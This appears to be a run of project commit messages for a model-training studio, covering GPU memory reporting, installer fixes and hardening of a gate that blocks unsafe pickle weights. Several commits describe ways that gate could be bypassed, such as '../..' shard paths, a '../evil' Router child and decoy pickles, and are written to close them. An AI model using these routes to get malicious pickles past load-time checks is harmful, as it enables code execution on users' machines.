recorded verdict; a missing record, moved commit, changed or added pickle,
expired record, or any error keeps blocking. Online loads always re-query the
Hub and an authoritative unsafe verdict deletes any stale record, so a
now-flagged commit cannot keep loading on an old clean record.
The store binds repo id, full commit, and a per-file sha256 map so a locally
swapped pickle at the same commit, a branch advance, or an added load-relevant
pickle is detected. A same-user attacker who can rewrite the model cache or the
store is outside the enforceable boundary and this is documented; the sha256 is
computed just before load, so a narrow verify-to-load window remains, and a Hub
scanner false negative is recorded faithfully (safetensors stays the stronger
defense).
Recording is triggered post-load in the RAG embedder because the settings route
only validates and the pre-load guard runs before the constructor downloads;
recording is skipped when the loaded commit differs from the scanned commit. The
blocked-pickle enumerator now returns snapshot-relative Paths so two module dirs
that ship the same pickle basename are hashed and reported distinctly.
* Harden the embedding verdict cache against review findings
Tighten the offline verdict cache and its enumeration so every uncertain or
malformed input fails closed and the recorded hashes always match the files the
loader reads:
- Hash every case-colliding pickle in a load root, not one representative. On a
case-sensitive filesystem pytorch_model.bin and PYTORCH_MODEL.BIN are distinct
files; keying by lowered name dropped one and could hash a decoy instead of the
loader's target. The enumerator now returns every variant Path.
- Only persist a clean verdict for a COMPLETED, entirely-benign scan. Require
scansDone to be the boolean True (not a truthy string), filesWithIssues to be a
well-formed list, and every flagged file to be a definitively-safe level; a
pending, error, unknown, or malformed entry no longer records as clean. The
online block decision is unchanged.
- Fail closed when the offline cache cannot be inspected: an rglob error now
propagates and blocks instead of reading as pickle-free, and a snapshot that
errors on resolution (vs a clean not-cached) blocks. The offline guard also
raises instead of returning when its own inspection throws, so the constructor
never deserializes an unverified cached pickle.
- Expand online Router children recursively (bounded BFS with a seen set),
mirroring the offline load-root expansion, so a flagged grandchild pickle is
scoped online and cannot be recorded clean.
- Reject absolute and drive/UNC declared paths in the load-root canonicalizers;
the loader would resolve them outside the snapshot, so collapsing them to an
in-snapshot relative dir scoped the wrong place.
- Pin verdict recording to the scanned commit's snapshot and take the offline
verify commit from the snapshot directory name, removing a second refs/main read
and the skew it allowed.
- Drop the now-unused pickle-name wrapper.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten offline embedding classification and the pickle gate
Close a set of offline edge cases where validation accepted a cache the
local_files_only load then rejects, and one gate bypass:
- Credit a sharded model.safetensors.index.json for a pickle sibling only at a
from_pretrained root. A non-Transformer SentenceTransformer module (Dense,
WordEmbeddings, StaticEmbedding) loads via Module.load_torch_weights, which
reads model.safetensors then pytorch_model.bin and never the index, so a sharded
safetensors index in such a module dir must not vouch for its pytorch_model.bin.
- Stop counting pytorch_model.safetensors as loadable in the offline classifier:
the loader probes model.safetensors (then its index) or pytorch_model.bin, never
pytorch_model.safetensors, matching the gate that already treats it as a decoy.
- Treat a present but unreadable weight index as incomplete: transformers opens
and parses any present index, so a malformed one or one without a weight_map
fails the load rather than falling back to filename-numbered shards.
- Require the CLIP image-processor config (preprocessor_config.json) for a CLIP
module: CLIPModel.load builds a CLIPProcessor that needs it, so a tokenizer
alone is not enough.
- Require a SparseStaticEmbedding config to actually select idf.json (a path
ending .json) or ship loadable weights; a bare idf.json the config does not name
falls through to load_torch_weights and raises.
- Do not use the tag-only recorded-verdict fallback when modules.json is present:
with the file present the loader takes the modules.json path, so a present but
empty or malformed manifest must not be validated as a plain root Transformer.
- Import-hoist linter: only a module-level conditional mutation or a function that
declares global __all__ makes the export set opaque; a __all__ bound as a local
in a nested function or class no longer masks a genuinely unused hoisted import.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope Router-child pickles to their deepest load root and gate the ST offline kwarg
The online scan stripped the first matching load-subdir prefix from a flagged file, so a
nested Router child pickle (0_Router/query_0_WordEmbeddings/pytorch_model.bin) matched the
parent 0_Router root, looked like an unreferenced nested shard, and slipped the gate even
though Router.load() deserializes that child directly. Match the deepest (longest) load
subdir instead, so the child becomes root-level under its own load root and blocks.
pyproject sets no lower bound on sentence-transformers and the local_files_only constructor
arg is absent on older releases, so always forwarding it broke every embedder warm on those
installs. Pass it only for an offline load; an online warm never forwards it and works as
before, while the offline capability still requires a version that supports it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reject snapshot-escaping shard paths and credit Transformer submodule safetensors
The offline pickle enumerator joined a weight-index weight_map value straight to the load
root and followed it, so a repo-controlled index mapping "../.." into a sibling snapshot
made an offline from_pretrained deserialize an out-of-snapshot pickle, and an online load
would then hash and record that external file as the scanned commit's clean content. Reject
any shard path that escapes the snapshot root and fail closed, mirroring the canonical-root
check the online shard scan already applies.
A complete model.safetensors.index.json was credited over a sibling pickle only at the
snapshot root, but a Transformer module subdirectory (0_Transformer/) is loaded via
AutoModel.from_pretrained, which honors that shard set and never reads the pickle. Credit the
sharded index for Transformer-typed modules declared in modules.json so a cached model that
ships both a sharded safetensors checkpoint and an unused PyTorch checkpoint is no longer
falsely blocked offline. Non-Transformer modules (Dense, WordEmbeddings, StaticEmbedding) read
a flat weight with no index and keep their pickle blocked.
Limit the import-hoist verifier's global __all__ scan to the declaring function's own scope so
a nested inner-scope local __all__ no longer marks the module export set opaque and mask an
unused hoisted import.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope Router children against the snapshot and mirror the ST alias rewrite
Router.load resolves each child at Path(subfolder, model_id) relative to the Router dir, so a
nested 1_Router with a "../evil" child points at evil/ inside the snapshot and the loader
deserializes evil/pytorch_model.bin. The offline enumerator canonicalized the child against
the Router dir alone and dropped anything with "..", so that pickle was never scanned and the
gate reported the cache pickle-free. Canonicalize router children against the snapshot,
retaining in-snapshot siblings as load roots and failing closed on a child that escapes the
snapshot itself, matching the online scan which already joins the prefix before normalizing.
The security gate resolved a slashless model id by probing the bare cache dir first, but the
SentenceTransformer constructor rewrites a non-basic slashless name to sentence-transformers/
<name> and loads THAT snapshot (only the basic ORIGINAL_TRANSFORMER_MODELS load bare). With
both models--<name> and models--sentence-transformers--<name> cached, the gate inspected the
bare dir while the loader read the namespaced one, so a pickle there bypassed the local-only
gate. Mirror the constructor: try the namespaced candidate first for non-basic slashless names.
Add the same not (snapshot / modules.json).is_file() guard to the transient-Hub-failure
tag-only fallback that the offline branch already carries, so a cache whose present manifest is
empty or malformed is no longer reported as a loadable embedder.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten root shard credit, module-path escapes, and weight-set probe order
Credit the sharded safetensors index at the snapshot ROOT only when the root is actually loaded
through an AutoModel/from_pretrained path. A modules.json root module of a non-Transformer type
(StaticEmbedding / WordEmbeddings / Dense) loads via load_torch_weights, which reads
pytorch_model.bin and ignores the index, so crediting a root shard index there suppressed a live
root pickle and let the offline gate report the cache pickle-free.
Recognize the Transformer subclasses CLIPModel and MLMTransformer as index-honoring load roots
(they load via from_pretrained), so a sharded-safetensors CLIP/MLM submodule with a legacy
pytorch_model.bin sibling is no longer falsely blocked offline. Mirrors the classifier dispatch.
Fail closed on an absolute or snapshot-escaping modules.json module path (or load_subdirs entry)
instead of silently dropping it: SentenceTransformer resolves such a path outside the snapshot and
would deserialize an external pytorch_model.bin the gate cannot scan.
On the classifier side, walk the weight set in the exact from_pretrained probe order
(model.safetensors, its index, pytorch_model.bin, its index) so a pickle behind a malformed
safetensors index is no longer accepted as complete, and restrict shard names to the loader-probed
stem/ext pairs so a decoy model-*.bin / pytorch_model-*.safetensors set is not treated as loadable.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore scripts/verify_import_hoist.py to main
The offline embedding cache fix does not depend on the __all__ scope
handling that had accumulated in this linter, so revert the file to its
main version and keep the PR focused on the feature. The feature modules
still pass the existing import hoist check unchanged.
* Reuse a shared HF cache skeleton in the offline classification tests
Extract _mk_repo and _activate helpers for the repeated snapshot cache
setup that every per-type builder duplicated, and fold the two
StaticEmbedding missing-asset cases into one parametrized test. Same 125
collected items, all still passing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reclassify embedding models from the cache on every offline call
is_embedding_model consulted its process memo before the offline branch, so an
online lookup that memoized True from tags (without caching any weights) was returned
unchanged once the session went offline -- the studio flips HF_HUB_OFFLINE in-process
on a dead DNS, and the ungated check-embedding route can populate the memo. Settings
would then accept a repo the offline loader cannot open. Run the offline
cache-marker reclassification ahead of the memo and never record it, so an offline
verdict always reflects the local cache and a later cache materialization is not
masked by a stale negative. Add regression tests.
* Tighten comments on the offline embedding path
Condense the offline-embedding helper docstrings and inline comments added in
this PR to fewer, clearer lines, keeping the non-obvious security and offline
rationale. Comments and docstrings only; no code change.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* studio: show system-wide VRAM in the multi-GPU System tab view on ROCm
The System tab's per-GPU list comes from get_visible_gpu_utilization. When
amd-smi is unavailable (always on Windows, minimal Linux installs) it fell back
to torch, whose readings are process-local: on Windows WDDM hands each process
its own budget, so a model held by the separate llama-server process read as
~0 VRAM used even with the GPU full (#7072). The primary-GPU endpoint already
compensates with system-wide sources -- Windows Performance Counters (Task
Manager's source) and Linux DRM sysfs -- but the multi-device endpoint never
got those fallbacks.
Add per-GPU variants of both sources and overlay them onto the torch fallback:
_rocm_windows_perf_counter_vram_per_adapter_gb() attributes Dedicated Usage per
physical adapter (phys_<N> in the counter instance name), and
_rocm_linux_sysfs_vram_per_card_gb() reads mem_info_vram_{used,total} per DRM
card. _overlay_system_wide_vram() applies them to the device list, ROCm-only,
best-effort: unmatched adapters and ambiguous card counts keep the torch
figures, and NVIDIA paths are untouched.
Fixes#7072
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: match VRAM overlay sources by device, honor unified memory, unblock the loop
Five review fixes on the multi-GPU system-wide VRAM overlay:
1. Linux: match DRM cards to devices by PHYSICAL index instead of a positional
zip, so a reordering visibility mask (HIP_VISIBLE_DEVICES=1,0) no longer
swaps each card's figures onto the other GPU (which would mislead
auto_select_gpu_ids and the coexistence checks). An index with no matching
card keeps its torch figures.
2. Linux: skip the overlay for a device whose sysfs total is below torch's --
on unified-memory APUs (Strix Halo) mem_info_vram_total is only the small
dedicated slice while torch sees the GTT-backed pool, and
_apply_unified_memory_correction already defines larger-total-wins.
3. Windows: group counter instances by adapter LUID, not the phys_<N> suffix --
separate adapters each read phys_0, which collapsed every GPU into key 0.
LUIDs are mapped to 0-based positions by ascending value as the closest
stand-in for device order.
4. Windows: pair the system-wide usage with the physical capacity from
get_device_properties (as the primary-GPU fallback does) -- under WDDM
mem_get_info's "total" is the process budget, which misreported capacity
and pushed utilization to 100%.
5. Run get_visible_gpu_utilization off the event loop in the /hardware/visible
route (asyncio.to_thread, the repo's convention): the ROCm fallbacks can
shell out to PowerShell with a 5s timeout, which would stall every other
request while the System view polls.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: skip the system-wide VRAM overlay for relative GPU indices
The overlay matches its per-GPU sources (Windows perf counters, Linux sysfs) by
physical device index, but under a UUID/MIG visibility mask the torch fallback
enumerates ordinals and reports index_kind == "relative", where `index` is a
visible ordinal, not a physical id. Applying the overlay there let card/adapter
0's system-wide VRAM overwrite the torch reading of a process that actually
exposes physical GPU 1, misleading auto_select_gpu_ids and the coexistence
checks. Gate the overlay on index_kind == "physical"; relative-index paths keep
the torch fallback.
* studio: drop the unreliable Windows VRAM overlay, keep the Linux one
The multi-GPU system-wide VRAM overlay is now Linux-only. The Windows
per-adapter Performance Counter path could not be made correct: the wildcard
Get-Counter query also returns non-ROCm/iGPU adapters and LUID order is not the
ROCm device order, so an adapter's usage could be overlaid onto the wrong GPU;
and it read only Dedicated Usage, missing WDDM shared memory on unified-memory
GPUs (Strix Halo), overstating free VRAM. Rather than misattribute VRAM and
skew placement decisions, Windows keeps the process-local torch fallback (no
regression vs before this PR); Linux DRM sysfs -- matched by physical index --
still fixes#7072 for the reporter's native-Linux ROCm case.
Removes _rocm_windows_perf_counter_vram_per_adapter_gb and _torch_props_total_gb.
* studio: key sysfs VRAM by DRM card number so filtering can't renumber cards
_rocm_linux_sysfs_vram_per_card_gb dropped cards with a zero total or unreadable
files and then the overlay enumerated the compacted list, so if card0 was
dropped, card1's usage was assigned to physical GPU index 0 (equal-capacity GPUs
slip past the unified-memory total guard). Return {card_number: (used, total)}
and match a device to its card number directly: a hole stays a hole -- device 0
keeps its torch figures when card0 is absent, and card1 maps to device 1.
* studio: key system-wide VRAM by ROCm ordinal, not raw DRM card number
When a non-amdgpu adapter (Intel iGPU, a display-only card) owns an earlier
DRM slot, DRM card numbers stop equalling ROCm device ordinals -- Intel card0
plus AMD card1/card2 gives ROCm devices 0/1, so keying the sysfs overlay by
card number handed ROCm device 1 card1's data (AMD device 0) and left device 0
on stale torch figures, corrupting free-VRAM placement on equal-capacity GPUs.
Only amdgpu cards expose mem_info_vram_*, so the glob already excludes foreign
adapters; order the surviving cards by their PCI address (ROCm/HIP's default
device order, read from each card's device symlink) and key by that position --
the ROCm physical ordinal, which is what the overlay matches against dev index.
An unreadable / zero-total amdgpu card still consumes its ordinal so a later
card is never renumbered onto its slot.
* studio: skip the VRAM overlay under layered HIP-over-ROCR masks
ROCR_VISIBLE_DEVICES filters physical GPUs at the HSA/ROCr layer, and a
HIP_VISIBLE_DEVICES set on top selects WITHIN that already-filtered set
(apply_gpu_ids sets HIP while leaving an inherited ROCR mask in place). When
both are active _get_parent_visible_gpu_spec() prefers the HIP value, so the
reported device index is a ROCR-relative ordinal, not a physical GPU id --
overlaying DRM-sysfs figures by that index would pull another GPU's usage
(e.g. ROCR=2,3 + HIP=1 is physical GPU 3, but the overlay would read card 1),
and equal-capacity cards bypass the total-size safeguard. Detect layered masks
and keep torch's process-local figures there rather than risk misattribution;
a single mask still leaves the index physical and is overlaid as before.
* studio: only overlay whole-card VRAM onto 1:1 ROCm devices
The overlay guard only skipped the case where sysfs total < torch total
(unified-memory APUs), so a partitioned ROCm device (MI300 in CPX mode) --
where HIP exposes several logical devices per physical card but sysfs reports
the whole card's aggregate -- passed the guard: the card total exceeds a
partition's torch total, and the overlay overwrote the partition with
whole-card usage and capacity, letting downstream selection think a partition
had the entire card free. Require the sysfs card total to match the torch
device total (within ~10%) so a mismatch in either direction -- unified memory
(sysfs smaller) or partitioning (sysfs larger) -- keeps torch's figures.
* studio: treat CUDA-over-ROCR as layered, enumerate AMD cards by driver
Two remaining mismatches between the reported device index and the DRM card the
overlay reads:
- On ROCm the HIP layer honors CUDA_VISIBLE_DEVICES as well as
HIP_VISIBLE_DEVICES, so a CUDA mask composed over ROCR layers identically:
ROCR=2,3 with CUDA=1 is physical GPU 3, yet the spec reports the ROCR value
[2,3] and the device was labeled index 2, overlaying card 2's usage onto GPU 3.
The layered check now treats ROCR combined with either HIP or CUDA as layered.
- The ROCm device set is now enumerated by bound driver (device/driver resolves
to amdgpu) instead of by the presence of mem_info_vram_*. An AMD device with
incomplete sysfs support (some APUs expose no VRAM files at all) was omitted
by the glob entirely and shifted every later card down one ordinal, letting a
similar-capacity GPU pass the total guard with another device's usage. Such a
card now consumes its ordinal and simply yields no entry.
* studio: honor GPU_DEVICE_ORDINAL and require an unambiguous card mapping
Two remaining ways the reported device index could be matched to the wrong DRM
card:
- GPU_DEVICE_ORDINAL is a supported ROCm visibility variable that
_get_parent_visible_gpu_spec() never consults, so GPU_DEVICE_ORDINAL=1
surfaces physical GPU 1 as torch ordinal 0 and it was mislabeled index 0,
overlaying card 0's usage onto GPU 1. The mask check now covers it, and is
renamed _rocm_device_index_unreliable() to say what it actually decides.
- driver == amdgpu is only a SUPERSET of the ROCm-visible set: an amdgpu-bound
adapter HIP cannot enumerate (an unsupported older AMD GPU beside a supported
one) still took an ordinal and shifted every real compute device. There is no
torch-side PCI identity to match against, so the overlay now requires the
amdgpu card count to equal the device count -- exactly the condition under
which position-in-PCI-order is a sound 1:1 mapping. Any disagreement keeps
torch's process-local figures: less informative, never misattributed.
* studio: keep the VRAM overlay working for masked GPU subsets
The card-count guard compared the amdgpu card list against the VISIBLE device
list, so any visibility mask disabled the overlay outright: HIP_VISIBLE_DEVICES=1,3
on a four-GPU host gives two devices against four cards. Those masked GPUs then
kept reporting process-local torch usage, hiding VRAM held by llama-server and
letting the training/chat placement checks overestimate free memory -- the exact
problem the overlay exists to fix.
The count check now applies only when no visibility mask is active, which is the
case where the reported devices really are the whole host and a mismatch means an
amdgpu adapter ROCm cannot enumerate is shifting the ordinals. Under a mask the
subset is expected, so each device's physical index is validated individually
instead: the per-card lookup bounds-checks it and the total-size guard rejects a
card whose capacity does not match the device's.
* studio: match GPUs to DRM cards by PCI identity, not by position
Every mapping bug on this PR came from the same root cause: there was no
authoritative link between a reported device index and a DRM card, so the
overlay kept inferring one positionally and each heuristic broke on a new host
shape -- foreign adapters on earlier DRM slots, cards with no VRAM sysfs, and
most recently amdgpu-bound adapters HIP cannot enumerate, which the count guard
could only catch on an unmasked host and therefore missed under any mask.
Use the link ROCm itself enumerates from. KFD topology
(/sys/class/kfd/kfd/topology/nodes/<N>/properties) lists exactly the GPUs HIP
exposes -- GPU nodes in node-id order are HIP's device order -- and each carries
its PCI location, so index N there IS physical device N with a stable identity.
DRM sysfs now supplies system-wide VRAM keyed by that same PCI address, and the
overlay is a join on it.
Every previous skew becomes a failed join rather than a misattribution: an
unenumerable adapter has no KFD node so it never takes an ordinal, a foreign
adapter contributes no entry, and a masked subset resolves each physical index
directly. That removes the count heuristic and its mask exception entirely. With
no KFD topology there is no identity to join on, so the overlay is skipped rather
than guessing positionally.
* studio: require verified host visibility and AMD-only KFD nodes
Three ways the identity map could still be built on a false premise:
- The NVIDIA open kernel module registers KFD topology nodes with a positive
SIMD count, so an earlier NVIDIA node shifted every AMD ordinal and ROCm
device 1 resolved to AMD GPU 0. GPU nodes now require vendor_id 4098 (0x1002),
the same filter install.sh already applies for this exact reason.
- A GPU node with an unreadable properties file or no location_id was skipped,
which silently shifted every later ordinal. Both now fail the whole map
closed, so the overlay is disabled rather than misattributing.
- A container exposing only some render devices through device cgroups sets no
visibility variable, yet torch compacts what it can see to ordinals from zero
while the host-mounted KFD and DRM trees still list every GPU. Nothing in the
reported payload distinguishes that from a full host, and torch exposes no PCI
id to check against, so the overlay now runs only when host visibility is
positively verified: no visibility mask AND device count equal to the host GPU
count. That also subsumes the previous layered-mask and GPU_DEVICE_ORDINAL
checks, so _rocm_device_index_unreliable() is gone.
This trades coverage for correctness: masked subsets and filtered containers now
keep torch's process-local figures instead of a mapping that cannot be verified.
* Fix the multi-GPU VRAM overlay docstring for PR #7216
The docstring claimed a reordering mask keeps each card on the right GPU,
but the overlay skips any active visibility mask and keeps torch's figures.
State the actual gating instead.
* Tighten comments in the multi-GPU VRAM overlay and its tests
Collapse the verbose docstrings and inline explanations added for the Linux
ROCm system-wide VRAM overlay to succinct one-liners, keeping the non-obvious
rationale (fail-closed KFD mapping, PCI-identity join, mask gating, the 10%
whole-card guard). Comments only, no behavior change.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
The enforcing pip scan-packages hf-stack shard fails on two CRITICAL
staged-dropper findings in unsloth-zoo test files:
tests/test_mlx_save_export_regressions.py and
tests/test_vision_collator_audio.py. Both are false positives: the
combination heuristic matches a /tmp path literal alongside unrelated
subprocess/import references in the same file, but those are mocked test
fixtures (monkeypatch.setattr on subprocess, asserted /tmp path strings),
not droppers. Add both to the reviewed allowlist so the gate stops
red-failing on legitimate test code. The scan then exits 0 on both the
hf-stack shard and a direct unsloth-zoo scan.
* Improve unsloth start runtime lifecycle
* Remove speculative Gemma prompt override
* Polish model download progress output
* Refine unsloth start status output
* Clarify unsloth readiness banner
* Clarify model reuse and switching output
* Queue model switches behind active inference
* Tighten unsloth start model switching
* Reduce model switch bookkeeping
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio re-exec compatibility
* Recheck sidecar reservation after inference drain
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass start marker through child environment
* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in start, studio, and inference changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: reuse MLX prompt cache across turns instead of re-prefilling
* clean up
* key prompt cache on what the KV covers
* skip windowed KV caches past their window
* verify prefix coverage before caching KV
* Studio: move sidebar search into the header
Put the search action as an icon button next to the sidebar toggle in
the header instead of a full-width nav row, so New Chat is the only
fixed row above the scrolling list. The search row is kept for the
collapsed icon rail only. Also add a small bottom gap under New Chat
when it is pinned during scroll.
* Studio: keep search row on custom-titlebar platforms
The header search button only renders on mac/web where the brand row
shows. On win/linux custom titlebars there's no header button, so keep
the full-width search row visible instead of hiding it.
* Studio: address review on sidebar search tooltip
- Hide the search tooltip on mobile (hidden={isMobile}), matching the
SidebarMenuButton tooltip convention.
- Show Cmd K on Mac and Ctrl K elsewhere instead of a hardcoded glyph;
the search dialog binds both meta and ctrl. Uses getClientPlatform so
it is correct on web too, not just Tauri.
* install.sh: route Strix (gfx1151/gfx1150) to the AMD arch index on rocm7.2, add PCI hint
Two Linux install fixes for AMD Strix Halo / Strix Point:
1. #7264: Strix reverts to rocm7.2. Modern ROCm (7.3+) caps to the generic
rocm7.2 index and the Radeon repo can be unavailable, so gfx1151/gfx1150
landed on a non-arch-specific build (torch 2.11+rocm7.2) instead of
repo.amd.com/rocm/whl/gfx<arch> (torch 2.11+rocm7.13, AMD's real Strix
fixes). The reroute to that arch index only fired on rocm7.1; broaden it to
rocm7.2 too. Only acts when a gfx1151/gfx1150 is actually detected, so other
arches on rocm7.2 pass through unchanged.
2. Rows about Strix not detected -> CPU-only: when no GPU is detected but an AMD
display GPU is on the PCI bus, print a targeted hint (ROCm kernel stack /
/dev/kfd missing) instead of only the generic docs pointer. Purely
additive diagnostic; does not change the torch index decision.
* Address review on PR #7293: gate PCI hint on ROCm-detection failure, fix test marker, use read builtin
- Only show the 'ROCm cannot see the GPU' hint when _has_amd_rocm_gpu fails;
a detected-but-too-old ROCm (rocminfo works, wheels need 6.0+) has its own path.
- Update test_previous_torch_pin.sh to the stable 'Strix Halo / Strix Point:'
marker after the heading reworded (the old grep broke the ordering assert).
- _amd_gpu_present_via_pci: read builtin instead of spawning cat twice per
device, and guard /sys/bus/pci/devices existence.
* install.sh: reroute Strix on any generic index older than the arch build
Generalize the Strix reroute from the hardcoded rocm7.1/rocm7.2 match to a
version compare against the arch index's own build (rocm7.13):
- backwards: rocm6.0-6.4 and rocm7.0 now reroute (were silently missed)
- forwards: any future intermediate rocm7.x below 7.13 reroutes; rocm7.13+
is left alone so a generic index that already carries the fix is not
downgraded to the arch build
_rocm_index_below does an integer major.minor compare (so rocm7.2 < rocm7.13);
non-rocm, arch (gfx), and unparseable URLs return false, so NVIDIA/CPU and the
arch index itself are untouched. Reroute still fires only for gfx1150/gfx1151.
* install.sh: tighten _amd_gpu_present_via_pci comment (no code change)
* install.sh: match the index leaf in the Strix version reroute (#7293 review)
Address two review points on the rocm-version reroute:
- Parse the final path segment (_torch_index_leaf) instead of grepping the whole
URL. A custom mirror whose base path holds its own rocm token (e.g.
.../rocm7.13/cache/rocm7.2) previously matched the base and skipped the reroute;
now it compares the leaf (rocm7.2) like the nearby index-family logic. Renamed
the helper to _rocm_leaf_below and switched the case selector to $_torch_index_leaf.
- Replace the stale test_strix_override_only_fires_on_rocm71 (which passed by
matching the new rocm7.13 comment) with an executed test that runs _rocm_leaf_below
and asserts rocm6.0-7.12 reroute while rocm7.13+/gfx/cu leaves do not.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install.sh: keep gfx probes non-fatal under set -e (#7293 review)
The Strix reroute now matches every rocm* index, not just rocm7.1, so its gfx
detection runs on all AMD installs. Each `_gfx_all=$(rocminfo|amd-smi | grep -oE
gfx...)` returns 1 when grep finds no match, which under set -euo pipefail aborts
the installer before the next fallback runs (e.g. rocminfo present but emitting no
gfx token). Append `|| true` to the three probes, matching the display block that
already guards this. Add an executed regression test (shimmed rocminfo/amd-smi)
that fails if any probe becomes fatal again.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(install.ps1): use ordinal IndexOf when stripping index URL credentials
On non-English Windows locales, culture-aware String.IndexOf can
mis-locate punctuation-only markers like ://, which corrupts scheme and
authority parsing and crashes Remove-IndexUrlCredentials with a Substring
ArgumentOutOfRangeException (issue 7279).
Force Ordinal comparison for URL scheme/host parsing.
Fixes#7279
* Condense the ordinal parsing comment in Remove-IndexUrlCredentials
---------
Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
* Recognize Radeon 8065S (Gorgon Halo / Ryzen AI Max 400) as gfx1151
* Classify Radeon 8065S (Gorgon Halo) as unified memory in ROCm OOM guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio: extend the _grouped_mm null-kernel guard to Linux ROCm RDNA4
torch._grouped_mm has a null HIP kernel on RDNA4 (gfx1200/gfx1201) at
ROCm <= 7.12 (fixed in 7.13; ROCm/TheRock #5284). The existing guard that
registers a Python mm/bmm fallback was win32-only, so Linux gfx1201 (e.g.
R9700 Pro on Ubuntu) hits the null kernel -> illegal instruction during
training.
Extract the fallback registration into a module-level helper
(_install_grouped_mm_cpu_fallback) and add a Linux branch that installs it,
gated on gfx1200/gfx1201 AND HIP < 7.13 so NVIDIA/CUDA and every non-RDNA4
AMD arch are untouched, and it is a no-op on fixed runtimes. The Windows
path now calls the same helper with identical behavior.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Resolve HIP version from torch.__version__ when version.hip is unset for PR #7292
AMD SDK / Radeon ROCm wheels leave torch.version.hip empty and encode the
version only in torch.__version__ (e.g. +rocm7.12). The Linux gfx120X guard
parsed version.hip only, so those affected installs skipped the fallback and
still hit the null _grouped_mm kernel. Mirror the Windows parse: version.hip,
then the embedded rocmX.Y, then assume affected unless a post-fix rocmsdk wheel.
* Scan all GPUs and add RDNA4 name fallback for _grouped_mm guard in PR #7292
* worker.py: tighten gfx120X Linux guard comments (no code change)
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(rocm): prepend system ROCm libs on native Linux to avoid bundled HIP crash
Prebuilt llama.cpp bundles ship their own ROCR/HIP runtime which can be
incompatible with the host's amdkfd kernel driver, causing hsa_init()
to crash or report zero devices. The llama-server then silently falls
back to CPU while the UI reports GPU.
The existing workaround (_wsl_system_rocm_lib_dirs) that prepends
/opt/rocm/lib to LD_LIBRARY_PATH was gated on WSL (/dev/dxg) only,
leaving native Linux AMD hosts unprotected.
This commit adds _native_linux_system_rocm_lib_dirs(), a parallel
helper gated on:
- Linux platform (not WSL)
- /dev/kfd present (bare-metal AMD compute)
- Bundle contains bundled HIP libs (libggml-hip.so)
- System has libhsa-runtime64.so(.1)
It is called from both _llama_server_env_for_binary (serve-time)
and binary_env (install-time validation), directly after the WSL
block in both paths.
Fixes#7208Fixes#7208
* Add UNSLOTH_LLAMA_NO_SYSTEM_ROCM opt-out to native-Linux system ROCm preference for PR #7233
Lets a host where the bundled runtime works but system ROCm is mismatched keep
the bundle. Mirrored in llama_cpp.py and install_llama_prebuilt.py.
* Prefer env-configured ROCm root over /opt/rocm fallback for PR #7233
Put HIP_PATH/HIP_PATH_57/ROCM_PATH-derived roots before /opt/rocm so a stale
/opt/rocm can't shadow the driver-matching install the env vars point at.
Mirrored in llama_cpp.py and install_llama_prebuilt.py.
* Match versioned libggml-hip.so via glob so the native-Linux ROCm fix fires for PR #7233
* Clarify native-Linux ROCm prepend uses the consistent system stack for PR #7233
* llama_cpp: tighten native-Linux ROCm prepend comments (no code change)
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Add project pinning with sidebar chats, full project chat menu, and new-chat fixes
* Fold pinned projects into the Pinned section with chat icons and lighter show-more
* Address review: queue guard, HTTP-safe nonce, projects show-more, dialog state resets
- Project new-chat composer now shows Stop instead of Queue while running, and the queue click is guarded so a disabled queue cannot enqueue.
- Replace crypto.randomUUID with a helper that falls back on non-secure (HTTP LAN) contexts where it is undefined.
- Projects page keeps all projects reachable: the grid caps at four with a Show more/Show less toggle instead of hiding the rest.
- Reset the rename draft and the delete-files checkbox so a project dialog never opens with stale state.
* Address review: dedupe pinned chats, close drawer on nested nav, gate saved-prompt queue, reset delete toggle
- Pinned chats that live inside a pinned project now render only nested under the project, not a second time in the flat pinned list.
